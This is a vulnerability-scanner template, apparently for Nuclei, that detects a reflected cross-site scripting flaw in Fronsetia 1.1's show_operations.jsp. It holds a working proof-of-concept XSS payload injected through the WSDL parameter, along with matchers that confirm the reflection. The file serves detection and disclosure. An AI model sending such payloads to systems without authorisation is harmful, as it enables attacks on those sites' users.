id: fronsetiav-xss

info:
  name: Fronsetiav1.1 - Cross-Site Scripting
  author: s4e-io
  severity: high
  description: |
    The fronsetiav1.1 application is vulnerable to a Reflected XSS attack through the show_operations.jsp endpoint. An attacker can inject malicious scripts via the WSDL Location input, which is executed in the victim's browser due to improper input sanitization. This allows attackers to execute arbitrary JavaScript, potentially stealing sensitive data or performing phishing attacks..
  reference:
    - https://seclists.org/fulldisclosure/2024/Nov/10
    - https://packetstormsecurity.com/files/182764/fronsetia-1.1-Cross-Site-Scripting.html
    - https://msecureltd.blogspot.com/2024/11/friday-fun-pentest-series-14-reflected.html
  classification:
    cwe-id: CWE-79,CWE-83
  metadata:
    max-request: 1
    vendor: fronsetiav1.1
    product: fronsetiav1.1
  tags: xss,fronsetia,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/show_operations.jsp?Fronsetia_WSDL=%22%3E%3Cimg%2Bsrc%3Dx%20onerror%3Dalert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"><img src=x onerror=alert(document.domain)> </title>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100b3e07cc62f3e651d8c417b90791e083db0db3d1792ad5a84d6f108aac0851a55022006d8270908bc667961bc425830690709b436050a883d0a06dab9a55625b788ea:922c64590222798bb761d5b6d8e72950